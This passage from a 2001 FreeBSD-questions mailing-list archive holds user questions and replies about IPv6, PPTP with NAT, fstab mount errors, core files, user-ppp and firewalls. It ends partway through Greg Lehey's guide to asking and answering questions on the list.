in my configuration if I don't >currently have a need for IPv6? Does having it increase overhead? I don't use any ipv6 stuff. If you don't use it you don't need it. >Also, what is this "faith" interface I see? Not sure what this is. >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message - Jim -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~- http://www.perlmonks.org/index.pl?node_id=67861&lastnode_id=67861 -----BEGIN PERL GEEK CODE BLOCK----- ------BEGIN GEEK CODE BLOCK------ Version: 0.01 Version: 3.12 P++>*@$c?P6?R+++>++++@$M GIT/CM/J d++(--) s++:++ a- >++++$O!MA->++++E!> PU-->+++BD C++++(+) UB++++$L++++$S++++$ $C-@D!>++++(-)$S++++@$X?WP+>++++MO!>+++ P++(+)>+++++ L+++(++++)>+++++$ !E* +PP+++>++++n-CO?PO!o >++++G W++(+++) N+ o !K w--- PS---(-)@ PE >*(!)$A-->++++@$Ee---(-)Ev++uL++>*@$uB+ Y+>+++ PGP t+(+++)>+++@ 5- X++ R@ >*@$uS+>*@$uH+uo+w-@$m! tv+ b? DI-(+++) D+++(++) G(++++) ------END PERL GEEK CODE BLOCK------ ------END GEEK CODE BLOCK------ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 15:53:42 2001 Delivered-To: freebsd-questions@freebsd.org Received: from server.dambiec.com (CPE-61-9-148-152.vic.bigpond.net.au [61.9.148.152]) by hub.freebsd.org (Postfix) with SMTP id 9766537B405 for ; Fri, 23 Nov 2001 15:53:38 -0800 (PST) Received: (qmail 32584 invoked from network); 23 Nov 2001 23:56:23 -0000 Received: from karun.lan (HELO karunwin2k) (10.0.1.3) by server.dambiec.com with SMTP; 23 Nov 2001 23:56:23 -0000 Message-ID: <000a01c17426$41c5dcf0$0301000a@karunwin2k> From: "Karun" To: "Thor Legvold" , References: Subject: Re: VPN/PPTP & NAT Date: Fri, 23 Nov 2001 23:53:39 +1000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG You need to run nat on the ppptp interface. ----- Original Message ----- From: "Thor Legvold" To: Sent: Friday, November 23, 2001 11:36 PM Subject: VPN/PPTP & NAT > I've finally connected & authenticated successfully with my ISP, however my > routing table get's really weird, and I can only use the net from the FBSD > server, none of the clients can get out. > > I suspect I might have to do something with nat (the firewall is wide open, > only diverting to nat and allowing all other from any to any. I've seen a > few places mention allowing "gre" traffic, is this something I need to do in > nat, or only for the firewall? > > Lastly, nat is run on the external iface (wi0 in my case), but since I'm > doing pptp, I'm actually tunneling past nat, am I not? When connecting to an > ISP with pptp, would I need to change the nat iface (like to f.ex. ppp0 or > ng0?) or not? > > Regards, > Thor > > > _________________________________________________________________ > Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 15:56:17 2001 Delivered-To: freebsd-questions@freebsd.org Received: from freebie.atkielski.com (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by hub.freebsd.org (Postfix) with ESMTP id CDF3A37B405 for ; Fri, 23 Nov 2001 15:56:14 -0800 (PST) Received: from contactdish (win.atkielski.com [10.0.0.10]) by freebie.atkielski.com (8.11.3/8.11.3) with SMTP id fANNu9C00293; Sat, 24 Nov 2001 00:56:09 +0100 (CET) (envelope-from anthony@freebie.atkielski.com) Message-ID: <05da01c1747a$6d1bdfe0$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Jim Conner" , "FreeBSD Questions" References: <5.1.0.14.0.20011123190656.02e32cf8@mail.enterit.com> Subject: Re: Odd messages at startup after deleting device drivers Date: Sat, 24 Nov 2001 00:56:09 +0100 Organization: Anthony's Home Page (development site) MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Jim writes: > cd /boot > edit kernel.conf Thanks. Where in the handbook is the purpose of this file mentioned? I did a search on www.freebsd.org and found only one hit, and only because it was shown in a listing of boot messages. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 16: 0:44 2001 Delivered-To: freebsd-questions@freebsd.org Received: from pioneernet.net (mail.pioneernet.net [207.115.64.224]) by hub.freebsd.org (Postfix) with ESMTP id 7C15E37B416 for ; Fri, 23 Nov 2001 16:00:42 -0800 (PST) Received: from chip.wiegand.org [66.114.152.128] by pioneernet.net (SMTPD32-6.06) id A33A2C2E00CA; Fri, 23 Nov 2001 16:00:58 -0800 Content-Type: text/plain; charset="iso-8859-1" From: Chip To: freebsd-questions@FreeBSD.ORG Subject: error in fstab? where? Date: Fri, 23 Nov 2001 16:00:13 -0800 X-Mailer: KMail [version 1.2] MIME-Version: 1.0 Message-Id: <01112316001302.76143@chip.wiegand.org> Content-Transfer-Encoding: 8bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG when I mount my cd drive I get the following error: chip# mount /cdrom fstab: /etc/fstab:1: Inappropriate file type or format yet it does get mounted: chip# mount /dev/ad0s1a on / (ufs, local) /dev/ad0s1e on /usr (ufs, NFS exported, local) /dev/ad1s1 on /usr2 (ufs, local) procfs on /proc (procfs, local) 192.168.1.14:/usr on /usr2/apache (nfs) /dev/acd0a on /cdrom (cd9660, local, read-only) Here's my fstab: chip# cat fstab Device Mountpoint FStype Options Dump Pass# /dev/ad0s1b none swap sw 0 0 /dev/ad0s1a / ufs rw 1 1 /dev/ad0s1e /usr ufs rw 2 2 /dev/ad1s1 /usr2 ufs rw 2 2 /dev/acd0a /cdrom cd9660 ro,noauto 0 0 192.168.1.14:/usr /usr2/apache nfs rw 0 0 /dev/fd0a /floppy msdos rw,noauto 0 0 proc /proc procfs rw 0 0 So, question is - what is inappropriate about the above cdrom settings? (The same exact things happens when mounting the floppy) FWIW - I used the info in the freebsd.org manual on setting the mounts to be useable by the user (me) as well as root. The above messages are from trying to mount as root. -- Chip W. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 16: 3:46 2001 Delivered-To: freebsd-questions@freebsd.org Received: from tomts14-srv.bellnexxia.net (tomts14.bellnexxia.net [209.226.175.35]) by hub.freebsd.org (Postfix) with ESMTP id 9C1ED37B405 for ; Fri, 23 Nov 2001 16:03:40 -0800 (PST) Received: from prayforwind.com ([199.243.146.213]) by tomts14-srv.bellnexxia.net (InterMail vM.4.01.03.16 201-229-121-116-20010115) with ESMTP id <20011124000339.MMIO21779.tomts14-srv.bellnexxia.net@prayforwind.com>; Fri, 23 Nov 2001 19:03:39 -0500 Received: (from gtabug@localhost) by prayforwind.com (8.11.6/8.11.6) id fAO0DQi00633; Fri, 23 Nov 2001 19:13:26 -0500 (EST) (envelope-from gtabug) Date: Fri, 23 Nov 2001 19:13:25 -0500 From: Steve Brown To: Jim Conner , questions@freebsd.org Subject: Re: .CORE files Message-ID: <20011123191325.A574@prayforwind.com> References: <20011123182901.A529@prayforwind.com> <5.1.0.14.0.20011123185020.030944e0@mail.enterit.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <5.1.0.14.0.20011123185020.030944e0@mail.enterit.com>; from jconner@enterit.com on Fri, Nov 23, 2001 at 06:55:03PM -0500 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi Jim, that was quick, thanks! I got a gcore, a RAY.score, a savecore; no valid .core files and I tried it in uppercase too. I guess I must have a very well administered system ;) (I installed it fresh 2 weeks ago so I'm not surprised I've not mucked it up yet) Thanks again, Cheers, Steve On Fri, Nov 23, 2001 at 06:55:03PM -0500, Jim Conner wrote: > At 18:29 11.23.2001 -0500, Steve Brown wrote: > >Hello there, > > > > >From time to time Netscape bonks out and when I leave X > >I find the message "Netscape blah blah core dumped" > >Sometimes I can find a .CORE file, other times I don't > >know where to look. So I have 2 questions: > > > >- How can I find -ALL- *CORE files, is there an equivalent > > of the old MS DOS "dir /s" ? > >- Why does it "dump core"? Am I supposed to do something > > with the resulting file? > > 1. find / -name "*core" -type f -ls > Be careful about cores that you find. Only remove those that are actually > core files. You can use the command: > > file corename > > That should tell you if the file is a real core file or not since there are > other files on the system (or directories which you shouldn't see with my > find command stated above) that are called core. > > 2. Netscape cores on probably everybody's machine at some time or > another. It is usually the result of poor coding (on Netscape's part) and > sometimes its the result of a poorly admin'ed system. In your case, I > would bet its netscapes code since I know a ton of people that get this > problem. It could also be a poorly set up Netscape that could cause > cores. Usually, the best thing to do is to remove the core file since its > really not needed for your sake. OR, you could send the core dumps to > Netscape so that they can examine why the core happened which is the > purpose of core dumps anyway. A core file is a physical readout of the > memory that netscape was using at the time it core'd. > > - Jim > > >Appreciate any advice, or hints as to where to RTFM. > > > >Thanks in advance, > >Steve > > > > > >To Unsubscribe: send mail to majordomo@FreeBSD.org > >with "unsubscribe freebsd-questions" in the body of the message > > > > - Jim > > -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~- > http://www.perlmonks.org/index.pl?node_id=67861&lastnode_id=67861 > > -----BEGIN PERL GEEK CODE BLOCK----- ------BEGIN GEEK CODE BLOCK------ > Version: 0.01 Version: 3.12 > P++>*@$c?P6?R+++>++++@$M GIT/CM/J d++(--) s++:++ a- > >++++$O!MA->++++E!> PU-->+++BD C++++(+) UB++++$L++++$S++++$ > $C-@D!>++++(-)$S++++@$X?WP+>++++MO!>+++ P++(+)>+++++ L+++(++++)>+++++$ !E* > +PP+++>++++n-CO?PO!o >++++G W++(+++) N+ o !K w--- PS---(-)@ PE > >*(!)$A-->++++@$Ee---(-)Ev++uL++>*@$uB+ Y+>+++ PGP t+(+++)>+++@ 5- X++ R@ > >*@$uS+>*@$uH+uo+w-@$m! tv+ b? DI-(+++) D+++(++) G(++++) > ------END PERL GEEK CODE BLOCK------ ------END GEEK CODE BLOCK------ > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 16:19: 6 2001 Delivered-To: freebsd-questions@freebsd.org Received: from server.dambiec.com (CPE-61-9-148-152.vic.bigpond.net.au [61.9.148.152]) by hub.freebsd.org (Postfix) with SMTP id 2928437B419 for ; Fri, 23 Nov 2001 16:18:57 -0800 (PST) Received: (qmail 32664 invoked from network); 24 Nov 2001 00:22:06 -0000 Received: from karun.lan (HELO karunwin2k) (10.0.1.3) by server.dambiec.com with SMTP; 24 Nov 2001 00:22:06 -0000 Message-ID: <002f01c17429$d9127070$0301000a@karunwin2k> From: "Karun" To: "Thor Legvold" , References: Subject: Re: VPN/PPTP & NAT Date: Sat, 24 Nov 2001 00:19:22 +1000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG What are you using for NAT? Can you send your config files for NAT? ----- Original Message ----- From: "Thor Legvold" To: Sent: Friday, November 23, 2001 11:36 PM Subject: VPN/PPTP & NAT > I've finally connected & authenticated successfully with my ISP, however my > routing table get's really weird, and I can only use the net from the FBSD > server, none of the clients can get out. > > I suspect I might have to do something with nat (the firewall is wide open, > only diverting to nat and allowing all other from any to any. I've seen a > few places mention allowing "gre" traffic, is this something I need to do in > nat, or only for the firewall? > > Lastly, nat is run on the external iface (wi0 in my case), but since I'm > doing pptp, I'm actually tunneling past nat, am I not? When connecting to an > ISP with pptp, would I need to change the nat iface (like to f.ex. ppp0 or > ng0?) or not? > > Regards, > Thor > > > _________________________________________________________________ > Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 16:20:46 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail1.toronto.istar.net (mail1.toronto.istar.net [209.89.75.17]) by hub.freebsd.org (Postfix) with ESMTP id 8FD5037B419 for ; Fri, 23 Nov 2001 16:20:43 -0800 (PST) Received: from d226-39-102.home.cgocable.net ([24.226.39.102] helo=x1-6-00-50-ba-de-36-33.kico1.on.home.com) by mail1.toronto.istar.net with esmtp (Exim 2.02 #1) id 167QYr-0004OK-00; Fri, 23 Nov 2001 19:20:49 -0500 Received: from localhost (genisis@localhost) by x1-6-00-50-ba-de-36-33.kico1.on.home.com (8.11.6/8.11.6) with ESMTP id fAO0RKs47997; Fri, 23 Nov 2001 19:27:20 -0500 (EST) (envelope-from genisis@istar.ca) X-Authentication-Warning: x1-6-00-50-ba-de-36-33.kico1.on.home.com: genisis owned process doing -bs Date: Fri, 23 Nov 2001 19:27:19 -0500 (EST) From: Dru X-X-Sender: To: Cc: Subject: Re: your mail In-Reply-To: <20011123223957.39210.qmail@ampa.pair.com> Message-ID: <20011123192457.O47988-100000@x1-6-00-50-ba-de-36-33.kico1.on.home.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 23 Nov 2001 mikeirw@elementalspace.com wrote: > I'm having some trouble getting user-ppp to work correctly. I start > user-ppp by typing ppp, and then dial agn. I get connected to my ISP > (which uses PAP), and get an IP address, but when trying to do a ping or > traceroute, I get nothing - no response whatsoever, no matter if I use a > domain name or an IP address. Would this be a routing issue? > > I'm including my config files, and a netstat before and after > connecting. I am not including the ppp.log, but will if necessary for > further troubleshooting. Thanks in advance for your time, as I've been > banging my head against the wall on this one. Hi Mike, Just to clarify, is your problem that you can't do anything (surf, email, etc.) once you've connected, or just that you can't ping or tracert? Also, once you've connected what does your prompt look like: PPP, PPp, Ppp, etc? Dru To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 16:31:19 2001 Delivered-To: freebsd-questions@freebsd.org Received: from topaz.mdcc.cx (topaz.mdcc.cx [212.204.230.141]) by hub.freebsd.org (Postfix) with ESMTP id A40DA37B416 for ; Fri, 23 Nov 2001 16:31:17 -0800 (PST) Received: from k7.mavetju.org (topaz.mdcc.cx [212.204.230.141]) by topaz.mdcc.cx (Postfix) with ESMTP id 2D8832B696; Sat, 24 Nov 2001 01:31:14 +0100 (CET) Received: by k7.mavetju.org (Postfix, from userid 1001) id 88C793AB; Sat, 24 Nov 2001 11:31:04 +1100 (EST) Date: Sat, 24 Nov 2001 11:31:04 +1100 From: Edwin Groothuis To: Anthony Atkielski Cc: FreeBSD Questions Subject: Re: Disabling IPv6 support for now Message-ID: <20011124113104.A579@k7.mavetju.org> Mail-Followup-To: Edwin Groothuis , Anthony Atkielski , FreeBSD Questions References: <05d301c17478$0a774250$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <05d301c17478$0a774250$0a00000a@atkielski.com>; from anthony@freebie.atkielski.com on Sat, Nov 24, 2001 at 12:39:05AM +0100 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sat, Nov 24, 2001 at 12:39:05AM +0100, Anthony Atkielski wrote: > How much of the IPv6 stuff can I comment out in my configuration if I don't > currently have a need for IPv6? Does having it increase overhead? Normally removing stuff doesn't increase overhead :-) > Also, what is this "faith" interface I see? man faith gives: faith - IPv6-to-IPv4 TCP relay capturing interface Edwin -- Edwin Groothuis | Personal website: http://www.MavEtJu.org edwin@mavetju.org | Interested in MUDs? Visit Fatal Dimensions: ------------------+ http://www.FatalDimensions.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 16:38: 6 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mailsrv.otenet.gr (mailsrv.otenet.gr [195.170.0.5]) by hub.freebsd.org (Postfix) with ESMTP id D4E0837B417 for ; Fri, 23 Nov 2001 16:38:00 -0800 (PST) Received: from hades.hell.gr (patr530-a119.otenet.gr [212.205.215.119]) by mailsrv.otenet.gr (8.11.5/8.11.5) with ESMTP id fAO0btv27549; Sat, 24 Nov 2001 02:37:56 +0200 (EET) Received: (from charon@localhost) by hades.hell.gr (8.11.6/8.11.6) id fANJDc863794; Fri, 23 Nov 2001 21:13:38 +0200 (EET) (envelope-from charon@labs.gr) Date: Fri, 23 Nov 2001 21:13:38 +0200 From: Giorgos Keramidas To: P K Cc: freebsd-questions Subject: Re: router vs freebsd firewall Message-ID: <20011123191337.GB33786@hades.hell.gr> References: <000c01c17455$e1026fc0$0100a8c0@cr1034264a> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <000c01c17455$e1026fc0$0100a8c0@cr1034264a> User-Agent: Mutt/1.3.23.1i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 2001-11-23 11:34:33, P K wrote: > Hi all > > I have a questions about cisco router vs freebsd firewall > > ISP will install cisco router to our office for internet access > Do I need the firewall also in freebsd? It's not mandatory, but it can be done. Note though that adding just another layer of firewalling is not the answer to all your security concerns. > ISP said that cisco have firewall function. eg filter, nat, routing > I really want to know what is the different. The configuration. CISCO routers are configured in one way. FreeBSD `routers' are configured in a different way (to accomplish the same task). -giorgos To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 16:58:16 2001 Delivered-To: freebsd-questions@freebsd.org Received: from ampa.pair.com (ampa.pair.com [209.68.1.113]) by hub.freebsd.org (Postfix) with SMTP id 666F137B417 for ; Fri, 23 Nov 2001 16:58:14 -0800 (PST) Received: (qmail 48597 invoked by uid 65534); 24 Nov 2001 00:58:13 -0000 Date: 24 Nov 2001 00:58:13 -0000 Message-ID: <20011124005813.48596.qmail@ampa.pair.com> To: freebsd-questions@FreeBSD.org Subject: Re: User-PPP Problems From: mikeirw@elementalspace.com User-Agent: Instant Web Mail 0.53 Cc: Dru Content-Type: text/plain; charset="ISO-8859-1" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 11-23-2001 07:27 pm, you wrote: > Just to clarify, is your problem that you can't do anything (surf, email, > etc.) once you've connected, or just that you can't ping or tracert? Also, > once you've connected what does your prompt look like: PPP, PPp, Ppp, etc? No, I can't do anything at all - no surf, email, ftp, or anything. It shows PPP. Thanks. -- Mike Irwin mikeirw@elementalspace.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 17: 2:34 2001 Delivered-To: freebsd-questions@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 645) id 4A76237B416; Fri, 23 Nov 2001 17:02:05 -0800 (PST) To: FreeBSD-questions@FreeBSD.org Subject: How to get best results from FreeBSD-questions Message-Id: <20011124010205.4A76237B416@hub.freebsd.org> Date: Fri, 23 Nov 2001 17:02:05 -0800 (PST) From: grog@FreeBSD.ORG (Greg Lehey) Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG How to get the best results from FreeBSD questions. =================================================== Last update 3 September 1999 This is a regular posting to the FreeBSD questions mailing list. If you got it in answer to a message you sent, it means that the sender thinks that at least one of the following things was wrong with your message: - You left out a subject line, or the subject line was not appropriate. - You formatted it in such a way that it was difficult to read. - You asked more than one unrelated question in one message. - You sent out a message with an incorrect date, time or time zone. - You sent out the same message more than once. - You sent an 'unsubscribe' message to FreeBSD-questions. If you have done any of these things, there is a good chance that you will get more than one copy of this message from different people. Read on, and your next message will be more successful. This document is also available on the web at http://www.lemis.com/questions.html. ===================================================================== Contents: I: Introduction II: How to unsubscribe from FreeBSD-questions III: Should I ask -questions or -hackers? IV: How to submit a question to FreeBSD-questions V: How to answer a question to FreeBSD-questions I: Introduction =============== This is a regular posting aimed to help both those seeking advice from FreeBSD-questions (the "newcomers"), and also those who answer the questions (the "hackers"). Note that the term "hacker" has nothing to do with breaking into other people's computers. The correct term for the latter activity is "cracker", but the popular press hasn't found out yet. The FreeBSD hackers disapprove strongly of cracking security, and have nothing to do with it. In the past, there has been some friction which stems from the different viewpoints of the two groups. The newcomers accused the hackers of being arrogant, stuck-up, and unhelpful, while the hackers accused the newcomers of being stupid, unable to read plain English, and expecting everything to be handed to them on a silver platter. Of course, there's an element of truth in both these claims, but for the most part these viewpoints come from a sense of frustration. In this document, I'd like to do something to relieve this frustration and help everybody get better results from FreeBSD-questions. In the following section, I recommend how to submit a question; after that, we'll look at how to answer one. II: How to unsubscribe from FreeBSD-questions ============================================== When you subscribed to FreeBSD-questions, you got a welcome message from Majordomo@FreeBSD.ORG. In this message, amongst other things, it told you how to unsubscribe. Here's a typical message: Welcome to the freebsd-questions mailing list! If you ever want to remove yourself from this mailing list, you can send mail to "Majordomo@FreeBSD.ORG" with the following command in the body of your email message: unsubscribe freebsd-questions Greg Lehey Here's the general information for the list you've subscribed to, in case you don't already have it: FREEBSD-QUESTIONS User questions This is the mailing list for questions about FreeBSD. You should not send "how to" questions to the technical lists unless you consider the question to be pretty technical. Normally, unsubscribing is even simpler than the message suggests: you don't need to specify your mail ID unless it is different from the one which you specified when you subscribed. If Majordomo replies and tells you (incorrectly) that you're not on the list, this may mean one of two things: 1. You have changed your mail ID since you subscribed. That's where keeping the original message from majordomo comes in handy. For example, the sample message above shows my mail ID as grog@lemis.de. Since then, I have changed it to grog@lemis.com. If I were to try to remove grog@lemis.com from the list, it would fail: I would have to specify the name with which I joined. 2. You're subscribed to a mailing list which is subscribed to FreeBSD-questions. If that's the case, you'll have to figure out which one it is and get your name taken off that one. If you're not sure which one it might be, check the headers of the messages you receive from freebsd-questions: maybe there's a clue there. If you've done all this, and you still can't figure out what's going on, send a message to Postmaster@FreeBSD.org, and he will sort things out for you. Don't send a message to FreeBSD-questions: they can't help you. III: Should I ask -questions, -newbies or -hackers? =================================================== Two mailing lists handle general questions about FreeBSD, FreeBSD-questions and FreeBSD-hackers. In addition, the FreeBSD-newbies list caters specifically for people who are new to FreeBSD and may be having trouble getting used to the environment. In some cases, it's not really clear which group you should ask. The following criteria should help for 99% of all questions, however: If the question is of a general nature, first check whether this isn't a Frequently Asked Question (FAQ). There's a list of these questions at http://www.freebsd.org/FAQ/FAQ.html, and also on your own system (once you've installed it) at /usr/share/doc/FAQ/FAQ.html. Check there, and if you don't find an answer, ask FreeBSD-questions. Examples might be questions about installing FreeBSD or the use of a particular UNIX utility. If you think the question relates to a bug, but you're not sure, or you don't know how to look for it, send the message to FreeBSD-questions. If the question relates to a bug, and you're almost sure that it's a bug (for example, you can pinpoint the place in the code where it happens, and you maybe have a fix), then send the message to FreeBSD-hackers. You should also enter a problem report with the send-pr utility. If the question relates to enhancements to FreeBSD, and you can make suggestions about how to implement them, then send the message to FreeBSD-hackers. If the question is of particularly technical nature, such as implementation details or suggestions for improvements, then send the message to FreeBSD-hackers. If you're new to FreeBSD, and the message is about your own relationship to FreeBSD, send the message to FreeBSD-newbies. There are also a number of other specialized mailing lists, for example FreeBSD-isp, which caters to the interests of ISPs (Internet Service Providers) who run FreeBSD. If you happen to be an ISP, this doesn't mean you should automatically send your questions to FreeBSD-isp. The criteria above still apply, and it's in your interest to stick to them, since you're more likely to get good results that way. IV: How to submit a question ============================= When submitting a question to FreeBSD-questions, consider the following points: 1. Remember that nobody gets paid for answering a FreeBSD question. They do it of their own free will. You can influence this free will positively by submitting a well-formulated question supplying as much relevant information as possible. You can influence this free will negatively by submitting an incomplete, illegible, or rude question. It's perfectly possible to send a message to FreeBSD-questions and not get an answer even if you follow these rules. It's much more possible to not get an answer if you don't. In the rest of this document, we'll look at how to get the most out of your question to FreeBSD-questions. 2. Not everybody who answers FreeBSD questions reads every message: they look at the subject line and decide whether it interests them. Clearly, it's in your interest to specify a subject. ``FreeBSD problem'' or ``Help'' aren't enough. If you provide no subject at all, many people won't bother reading it. If your subject isn't specific enough, the people who can answer it may not read it. 3. Format your message so that it is legible, and PLEASE DON'T SHOUT!!!!!. We appreciate that a lot of people don't speak English as their first language, and we try to make allowances for that, but it's really painful to try to read a message written full of typos or without any line breaks. A lot of badly formatted messages come from bad mailers or badly configured mailers. The following mailers are known to send out badly formatted messages without you finding out about them: Eudora exmh Microsoft Exchange Microsoft Internet Mail Microsoft Outlook Netscape As you can see, the mailers in the Microsoft world are frequent offenders. If at all possible, use a UNIX mailer. If you must use a mailer under Microsoft environments, make sure it is set up correctly. Try not to use MIME: a lot of people use mailers which don't get on very well with MIME. For further information on this subject, check out http://www.lemis.com/email.html. 4. Make sure your time and time zone are set correctly. This may seem a little silly, since your message still gets there, but many of the people you are trying to reach get several hundred messages a day. They frequently sort the incoming messages by subject and by date, and if your message doesn't come before the first answer, they may assume they missed it and not bother to look. 5. Don't include unrelated questions in the same message. Firstly, a long message tends to scare people off, and secondly, it's more difficult to get all the people who can answer all the questions to read the message. 6. Specify as much information as possible. This is a difficult area, and we need to expand on what information you need to submit, but here's a start: If you get error messages, don't say ``I get error messages'', say (for example) ``I get the error message 'No route to host'''. If your system panics, don't say ``My system panicked'', say (for example) ``my system panicked with the message 'free vnode isn't'''. If you have difficulty installing FreeBSD, please tell us what hardware you have. In particular, it's important to know the IRQs and I/O addresses of the boards installed in your machine. If you have difficulty getting PPP to run, describe the configuration. Which version of PPP do you use? What kind of authentication do you have? Do you have a static or dynamic IP address? What kind of messages do you get in the log file? 7. If you don't get an answer immediately, or if you don't even see your own message appear on the list immediately, don't resend the message. Wait at least 24 hours. The FreeBSD mailer offloads messages to a number of subordinate mailers around the world, and sometimes it can take several hours for the mail to get through. And once it gets through, the one person who might know the answer will probably just have gone to bed in his part of the world. 8. If you do all this, and you still don't get an answer, there could be other reasons. For example, the problem is so complicated that nobody knows the answer, or the person who does know the answer was offline. If you don't get an answer after, say, a week, it might help to re-send the message. If you don't get an answer to your second message, though, you're probably not going to get one from this forum. Resending the same message again and again will only make you unpopular. To summarize, let's assume you know the answer to the following question (yes, it's the same one in each case :-). You choose which of these two questions you would be more prepared to answer: Message 1: Subject: (none) I just can't get hits damn silly FereBSD system to workd, and Im really good at this tsuff, but I have never seen anythign sho difficult to install, it jst wont work whatever I try so why don't y9ou guys tell me what I doing wrong. ---------------------------------------------------------------------- Message 2: Subject: Problems installing FreeBSD I've just got the FreeBSD 2.1.5 CD-ROM from Walnut Creek, and I'm having a lot of difficulty installing it. I have a 66 MHz 486 with 16 MB of memory and an Adaptec 1540A SCSI board, a 1.2GB Quantum Fireball disk and a Toshiba 3501XA CD-ROM drive. The installation works just fine, but when I try to reboot the system, I get the message "Missing Operating System". ---------------------------------------------------------------------- V: How to follow up to a question ================================= Often you will want to send in additional information to a question you have already sent. The best way to do this is to reply to your original message. This has three advantages: 1. You include the original message text, so people will know what you're talking about. Don't forget to trim unnecessary text out, though. 2. The text in the subject line stays the same (you did remember to put one in, didn't you?). Many mailers will sort messages by subject. This helps group messages together. 3. The message reference numbers in the header will refer to the previous message. Some mailers, such as mutt, can thread messages, showing the exact relationships between the messages. VI: How to answer a question ============================ Before you answer a question to FreeBSD-questions, consider: 1. A lot of the points on submitting questions also apply to answering questions. Read them. 2. Has somebody already answered the question? The easiest way to check this is to sort your incoming mail by subject: then (hopefully) you'll see the question followed by any answers, all together. If somebody has already answered it, it doesn't automatically mean that you shouldn't send another answer. But it makes sense to read all the other answers first. 3. Do you have something to contribute beyond what has already been said? In general, "Yeah, me 